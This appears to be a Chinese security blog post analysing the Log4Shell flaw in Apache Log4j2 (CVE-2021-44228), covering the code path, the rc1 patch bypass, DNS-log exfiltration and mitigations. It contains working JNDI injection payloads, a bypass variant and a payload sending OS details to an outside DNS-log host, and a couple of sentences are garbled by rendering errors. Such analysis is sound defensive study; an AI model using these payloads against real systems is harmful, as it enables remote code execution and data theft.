从入门到放弃带你深入理解 Apache log4j2 漏洞

admin 2022年6月5日16:03:07评论46 views字数 13309阅读44分21秒阅读模式


 Apache log4j2 漏洞

(食用需一定Java基础)

从入门到放弃带你深入理解 Apache log4j2 漏洞

历史渊源

2021年IT圈被爆出的log4j2漏洞闹的沸沸扬扬,log4j2作为一个优秀的java程序日志监控组件,被应用在了各种各样的衍生框架中,同时也是作为目前java全生态中的基础组件之一,这类组件一旦崩塌将造成不可估量的影响。

从Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。本文将从零到一,带你深入了解log4j2漏洞。知其所以然,方可深刻理解、有的放矢。

时间线

2021年11月24日:阿里云安全团队向Apache 官方提交ApacheLog4j2远程代码执行漏洞(CVE-2021-44228)

2021年12月8日:Apache Log4j2官方发布安全更新log4j2-2.15.0-rc1,

2021年12月9日:天融信阿尔法实验室晚间监测到poc大量传播并被利用攻击

2021年12月10日:天融信阿尔法实验室于10日凌晨发布Apache Log4j2 远程代码执行漏洞预警,并于当日发布Apache Log4j2 漏洞处置方案

2021年12月10日:同一天内,网络传出log4j2-2.15.0-rc1安全更新被绕过,天融信阿尔法实验室第一时间进行验证,发现绕过存在,并将处置方案内的升级方案修改为log4j2-2.15.0-rc2

2021年12月15日:天融信阿尔法实验室对该漏洞进行了深入分析并更新修复建议。

漏洞介绍

Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告

分配CVE编号:CVE-2021-44228

已知受影响的应用及组件

spring-boot-strater-log4j2 /
Apache Solr / 
Apache Flink /
Apache Druid等

漏洞编号为CNVD-2021-95919

CVSS评分:10.0(最高只能10分)

Apache Log4j2是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

漏洞原因

Apache Log4j2存在远程代码执行漏洞,攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

POC附上

public static void main(String[] args) throws Exception {    logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");}

影响范围:

Apache Log4j 2.x<=2.14.1

Java日志体系

要了解认识log4j2,就不得讲讲java的日志体系,在最早的2001年之前,java是不存在日志库的,打印日志均通过System.out和System.err来进行,缺点也显而易见,列举如下:

大量IO操作;

无法合理控制输出

并且输出内容不能保存,需要盯守;

无法定制日志格式,不能细粒度显示;

在2001年,软件开发者Ceki Gulcu设计出了一套日志库也就是log4j(注意这里没有2)。后来log4j成为了Apache的项目,作者也加入了Apache组织。这里有一个小插曲,Apache组织建议过sun公司在标准库中引入log4j,但是sun公司可能有自己的小心思,所以就拒绝了建议并在JDK1.4中推出了自己的借鉴版本JUL(Java Util Logging)。不过功能还是不如Log4j强大。使用范围也很小。

由于出现了两个日志库,为了方便开发者进行选择使用,Apache推出了日志门面JCL(Jakarta Commons Logging)。它提供了一个日志抽象层,在运行时动态的绑定日志实现组件来工作(如log4j、java.util.logging)。导入哪个就绑定哪个,不需要再修改配置。当然如果没导入的话他自己内部有一个Simple logger的简单实现,但是功能很弱,直接忽略。架构如下图:

从入门到放弃带你深入理解 Apache log4j2 漏洞在2006年,log4j的作者Ceki Gulcu离开了Apache组织后觉得JCL不好用,于是自己开发了一版和其功能相似的Slf4j(Simple Logging Facade for Java)。Slf4j需要使用桥接包来和日志实现组件建立关系。由于Slf4j每次使用都需要配合桥接包,作者又写出了Logback日志标准库作为Slf4j接口的默认实现。其实根本原因还是在于log4j此时无法满足要求了。以下是桥接架构图:

从入门到放弃带你深入理解 Apache log4j2 漏洞到了2012年,Apache可能看不要下去要被反超了,于是就推出了新项目Log4j2并且不兼容Log4j,全面借鉴Slf4j+Logback。此次借鉴比较成功。

Log4j2不仅仅具有Logback的所有特性
还做了分离设计
分为log4j-api和log4j-core
log4j-api是日志接口
log4j-core是日志标准库
并且Apache也为Log4j2提供了各种桥接包

到目前为止Java日志体系被划分为两大阵营,分别是Apache阵营和Ceki阵营。

从入门到放弃带你深入理解 Apache log4j2 漏洞

Log4j2源码浅析

Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。从上面的解释中我们可以看到Log4j2的功能十分强大,这里会简单分析其与漏洞相关联部分的源码实现,来更熟悉Log4j2的漏洞产生原因。

我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包

<dependencies><dependency>    <groupId>org.apache.logging.log4j</groupId>    <artifactId>log4j-core</artifactId>    <version>2.14.0</version></dependency></dependencies>
从入门到放弃带你深入理解 Apache log4j2 漏洞

在工程目录resources下创建log4j2.xml配置文件

<?xml version="1.0" encoding="UTF-8"?><configuration status="error"><appenders><!--        配置Appenders输出源为Console和输出语句SYSTEM_OUT-->    <Console name="Console" target="SYSTEM_OUT" ><!--            配置Console的模式布局-->        <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>    </Console></appenders><loggers>    <root level="error">        <appender-ref ref="Console"/>    </root></loggers></configuration>

log4j2中包含两个关键组件LogManager和LoggerContext。LogManager是Log4J2启动的入口,可以初始化对应的LoggerContext。LoggerContext会对配置文件进行解析等其它操作。

在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class log4j2Rce2 {private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);public static void main(String[] args) {    String a="${java:os}";    logger.error(a);}}
从入门到放弃带你深入理解 Apache log4j2 漏洞

属性占位符之Interpolator

(插值器)

log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator(插值器)内部以Map<String,StrLookup>的方式则封装了多个StrLookup对象,如下图显示:

从入门到放弃带你深入理解 Apache log4j2 漏洞

详细信息可以查看官方文档。这些实现类存在于org.apache.logging.log4j.core.lookup包下。

当参数占位符${prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符${key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookup的lookup方法使用jndi(javax.naming)获取value。如下图演示。

从入门到放弃带你深入理解 Apache log4j2 漏洞

模式布局

log4j2支持通过配置Layout打印格式化的指定形式日志,可以在Appenders的后面附加Layouts来完成这个功能。常用之一有PatternLayout,也就是我们在配置文件中PatternLayout字段所指定的属性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n。%msg表示所输出的消息,其它格式化字符所表示的意义可以查看官方文档。

从入门到放弃带你深入理解 Apache log4j2 漏洞PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List<PatternConverter>转换器列表和List<FormattingInfo>格式信息列表。

在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。相关转换器名称注解和加载的插件实例如下图所示:从入门到放弃带你深入理解 Apache log4j2 漏洞从入门到放弃带你深入理解 Apache log4j2 漏洞

本次漏洞关键在于转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理存在问题,在大多数场景下这部分是攻击者可控的。MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。

日志级别

log4j2支持多种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中<root level="error">值设置intLevel。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200,如下图中的处理:

从入门到放弃带你深入理解 Apache log4j2 漏洞

漏洞原理

首先先来看一下网络上流传最多的payload

${jndi:ldap://2lnhn2.ceye.io}

而触发漏洞的方法,大家都是以Logger.error()方法来进行演示,那这里我们也采用同样的方式来讲解,具体漏洞环境代码如下所示

import org.apache.logging.log4j.Level;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import org.apache.logging.log4j.core.config.Configurator;public class Log4jTEst {public static void main(String[] args) {    Logger logger = LogManager.getLogger(Log4jTEst.class);    logger.error("${jndi:ldap://2lnhn2.ceye.io}");}}

直击漏洞本源,将断点断在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,该方法的第一行代码将返回当前使用的布局,并调用 对应布局处理器的encode方法。log4j2默认缺省布局使用的是PatternLayout,如下图所示:

从入门到放弃带你深入理解 Apache log4j2 漏洞继续跟进在encode中会调用toText方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的StringBuilder中。

从入门到放弃带你深入理解 Apache log4j2 漏洞

从入门到放弃带你深入理解 Apache log4j2 漏洞接下来会调用serializer.toSerializable,并在这个方法中调用不同的Converter来处理传入的数据,如下图所示,

从入门到放弃带你深入理解 Apache log4j2 漏洞这里整理了一下调用的Converter

org.apache.logging.log4j.core.pattern.DatePatternConverterorg.apache.logging.log4j.core.pattern.LiteralPatternConverterorg.apache.logging.log4j.core.pattern.ThreadNamePatternConverterorg.apache.logging.log4j.core.pattern.LevelPatternConverterorg.apache.logging.log4j.core.pattern.LoggerPatternConverterorg.apache.logging.log4j.core.pattern.MessagePatternConverterorg.apache.logging.log4j.core.pattern.LineSeparatorPatternConverterorg.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter

这么多Converter都将一个个通过上图中的for循环对日志事件进行处理,当调用到MessagePatternConverter时,我们跟入MessagePatternConverter.format()方法中一探究竟

从入门到放弃带你深入理解 Apache log4j2 漏洞

在MessagePatternConverter.format()方法中对日志消息进行格式化,其中很明显的看到有针对字符"KaTeX parse error: Expected '}', got 'EOF' at end of input: …连着判断,等同于判断是否存在"{",这三行代码中关键点在于最后一行

从入门到放弃带你深入理解 Apache log4j2 漏洞

这里我圈了几个重点,有助于理解Log4j2 为什么会用JndiLookup,它究竟想要做什么。此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示

09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}

本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是$符号,也就是说 ${jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?

可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串。replace的作用简单来说就是想要进行一个替换,我们继续跟进

从入门到放弃带你深入理解 Apache log4j2 漏洞经过一段的嵌套调用,来到Interpolator.lookup,这里会通过var.indexOf(PREFIX_SEPARATOR)判断":"的位置,其后截取之前的字符。截取到jndi然后就会获取针对jndi的Strlookup对象并调用Strlookup的lookup方法,如下图所示

从入门到放弃带你深入理解 Apache log4j2 漏洞那么总共有多少Strlookup的子类对象可供选择呢,可供调用的Strlookup都存放在当前Interpolator类的strLookupMap属性中,如下所示

从入门到放弃带你深入理解 Apache log4j2 漏洞然后程序的继续执行就会来到JndiLookup的lookup方法中,并调用jndiManager.lookup方法,如下图所示从入门到放弃带你深入理解 Apache log4j2 漏洞说到这里,我们已经详细了解了logger.error()造成RCE的原理,那么问题就来了,logger有很多方法,除了error以外还别方法可以触发漏洞么?这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。如下图所示:

从入门到放弃带你深入理解 Apache log4j2 漏洞当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小

从入门到放弃带你深入理解 Apache log4j2 漏洞

从入门到放弃带你深入理解 Apache log4j2 漏洞跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示从入门到放弃带你深入理解 Apache log4j2 漏洞而这里日志优先级数值小于等于200的就只有"error"、“fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是"warn"、"info"大于200的就触发不了了。

但是这里也说了是默认情况下,日志优先级是以error为准,Log4j2的缺省配置文件如下所示。

<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"><Appenders> <Console name="Console" target="SYSTEM_OUT">   <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console></Appenders><Loggers> <Root level="error">   <AppenderRef ref="Console"/> </Root></Loggers></Configuration>

所以只需要做一点简单的修改,将<Root level="error">中的error改成一个优先级比较低的,例如"info"这样,只要日志优先级高于或者等于info的就可以触发漏洞,修改过后如下所示

<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN">    <Appenders>        <Console name="Console" target="SYSTEM_OUT">            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>        </Console>    </Appenders>    <Loggers>        <Root level="info">            <AppenderRef ref="Console"/>        </Root>    </Loggers></Configuration>

rc1绕过详解

在Apache log4j2漏洞大肆传播的当天,log4j2官方发布的rc1补丁就传出的被绕过的消息,于是第一时间也跟着研究究竟是怎么绕过的,分析完后发现,这个“绕过”属实是一言难尽,下面就针对这个绕过来解释一下为何一言难尽。

首先最重要的一点,就是需要修改配置,默认配置下是不能触发JNDI远程加载的,单就这个条件来说我觉得就很勉强了,但是确实更改了配置后就可以触发漏洞,所以这究竟算不算绕过,还要看各位自己的看法了。

首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比

修改前

从入门到放弃带你深入理解 Apache log4j2 漏洞

修改后

从入门到放弃带你深入理解 Apache log4j2 漏洞可以很清楚的看到 增加了三个静态内部类,每个内部类都继承自MessagePatternConverter,且都实现了自己的format方法。之前执行链上的MessagePatternConverter.format()方法则变成了下面这样

从入门到放弃带你深入理解 Apache log4j2 漏洞

在rc1这个版本中Log4j2在初始化的时候创建的Converter也变了,

从入门到放弃带你深入理解 Apache log4j2 漏洞

整理一下,可以看的更清晰一些

DatePatternConverterSimpleLiteralPatternConverter$StringValueThreadNamePatternConverterLevelPatternConverter$SimpleLevelPatternConverterLoggerPatternConverterMessagePatternConverter$SimpleMessagePatternConverterLineSeparatorPatternConverterExtendedThrowablePatternConverter

之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的,如下所示

从入门到放弃带你深入理解 Apache log4j2 漏洞可以看到并没有对传入的数据的“KaTeX parse error: Expected '}', got 'EOF' at end of input: …的点就没有了么?当然不是,对“{}”的处理,开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示

从入门到放弃带你深入理解 Apache log4j2 漏洞问题来了,如何才能让log4j2在初始化的时候就实例化LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法呢?

其实很简单,但这也是我说这个绕过“一言难尽”的一个点,就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能,修改后的配置文件如下所示

<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN">    <Appenders>        <Console name="Console" target="SYSTEM_OUT">            <PatternLayout pattern="[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n"/>        </Console>    </Appenders>    <Loggers>        <Root level="info">            <AppenderRef ref="Console"/>        </Root>    </Loggers></Configuration>

这样一来就可以触发LookupMessagePatternConverter.format()方法了,但是单单只改配置,还是不行,因为JndiManager.lookup方法也进行了修改,增加了白名单校验,这就意味着我们还要修改payload来绕过这么一个校验,校验点代码如下所示从入门到放弃带你深入理解 Apache log4j2 漏洞

当判断以ldap开头的时候,就回去判断请求的host,也就是请求的地址,白名单内容如下所示

从入门到放弃带你深入理解 Apache log4j2 漏洞可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。

使用marshalsec开启ldap服务后,先将payload修改成下面这样

${jndi:ldap://127.0.0.1:8088/ExportObject}

如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示

从入门到放弃带你深入理解 Apache log4j2 漏洞这里要求javaFactory为空,否则就会返回"Referenceable class is not allowed for xxxxxx"的错误,想要绕过这一点其实也很简单,在JndiManager.lookup方法中有一个非常非常离谱的错误,就是在捕获异常后没有进行返回,甚至没有进行任何操作,我看不懂,但我大为震撼。这样导致了程序还会继续向下执行,从而走到最后的this.context.lookup()这一步 ,如下所示

从入门到放弃带你深入理解 Apache log4j2 漏洞

也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式

${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}

在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。

敏感数据带外

当目标服务器本身受到防护设备流量监控等原因,无法反弹shell的时候,Log4j2还可以通过修改payload,来外带一些敏感信息到dnslog服务器上,这里简单举一个例子,根据Apache Log4j2官方提供的信息,获取环境变量信息除了jndi之外还有很多的选择可供使用,具体可查看前文给出的链接。根据文档中所述,我们可以用下面的方式来记录当前登录的用户名,如下所示

<File name="Application" fileName="application.log">  <PatternLayout>    <pattern>%d %p %c{1.} [%t] $${env:USER} %m%n</pattern>  </PatternLayout></File>

获取java运行时版本,jvm版本,和操作系统版本,如下所示

<File name="Application" fileName="application.log">  <PatternLayout header="${java:runtime} - ${java:vm} - ${java:os}">    <Pattern>%d %m%n</Pattern>  </PatternLayout></File>

类似的操作还有很多,感兴趣的同学可以去阅读下官方文档。

那么问题来了,如何将这些信息外带出去,这个时候就还要利用我们的dnsLog了,就像在sql注入中通过dnslog外带信息一样,payload改成以下形式

"${jndi:ldap://${java:os}.2lnhn2.ceye.io}"

从表上看这个payload执行原理也不难,肯定是log4j2 递归解析了呗,为了严谨一下,就再废话一下log4j2解析这个payload的执行流程

首先还是来到MessagePatternConverter.format方法,然后是调用StrSubstitutor.replace方法进行字符串处理,如下图所示

从入门到放弃带你深入理解 Apache log4j2 漏洞只不过这次迭代处理先处理了"${java:os}",如下图所示

从入门到放弃带你深入理解 Apache log4j2 漏洞如此一来,就来到了JavaLookup.lookup方法中,并根据传入的参数来获取指定的值

从入门到放弃带你深入理解 Apache log4j2 漏洞

解析完成后然后log4j2才会去解析外层的${jndi:ldap://2lnhn2.ceye.io},最后请求的dnslog地址如下

从入门到放弃带你深入理解 Apache log4j2 漏洞此时就实现了将敏感信息回显到dnslog上,利用的就是log4j2的递归解析,来dnslog上查看一下回显效果,如下所示

从入门到放弃带你深入理解 Apache log4j2 漏洞但是这种回显的数据是有限制的,例如下面这种情况,使用如下payload

${jndi:ldap://${java:os}.2lnhn2.ceye.io}执行完成后请求的地址如下

从入门到放弃带你深入理解 Apache log4j2 漏洞最后会报如下错误,并且无法回显

从入门到放弃带你深入理解 Apache log4j2 漏洞

修复建议:

升级Apache Log4j2所有相关应用到最新版。

升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。

但仍有绕过Java本身对Jndi远程加载类安全限制的风险。

临时建议:

jvm中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)

新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)

设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)

对于log4j2 < 2.10以下的版本,可以通过移除JndiLookup类的方式。

总结

og4j2这次漏洞的影响是核弹级的,堪称web漏洞届的永恒之蓝,因为作为一个日志系统,有太多的开发者使用,也有太多的开源项目将其作为默认日志系统。所以可以见到,在未来的几年内,Apache log4j2 很可能会接替Shiro的位置,作为护网的主要突破点。

该漏洞的原理并不复杂,甚至如果认真读了官方文档可能就可以发现这个漏洞,因为这次的漏洞究其原理就是log4j2所提供的正常功能,但是不管是log4j2的开发者也好,还是使用log4j2进行开发的开发者也好,他们都犯了一个「致命的错误」,就是相信了用户的输入。

「永远不要相信用户的输入」,想必这是每一个开发人员都听过的一句话,可惜,真正能做到的人太少了。

参考链接:

https://blog.csdn.net/qq_34415266/article/details/122515752

https://www.cnblogs.com/andyhf/p/15751987.html

https://baijiahao.baidu.com/s?id=1718946520876495065&wfr=spider&for=pc

原文始发于微信公众号(猫因的安全):从入门到放弃带你深入理解 Apache log4j2 漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月5日16:03:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从入门到放弃带你深入理解 Apache log4j2 漏洞http://cn-sec.com/archives/1085966.html

发表评论

匿名网友 填写信息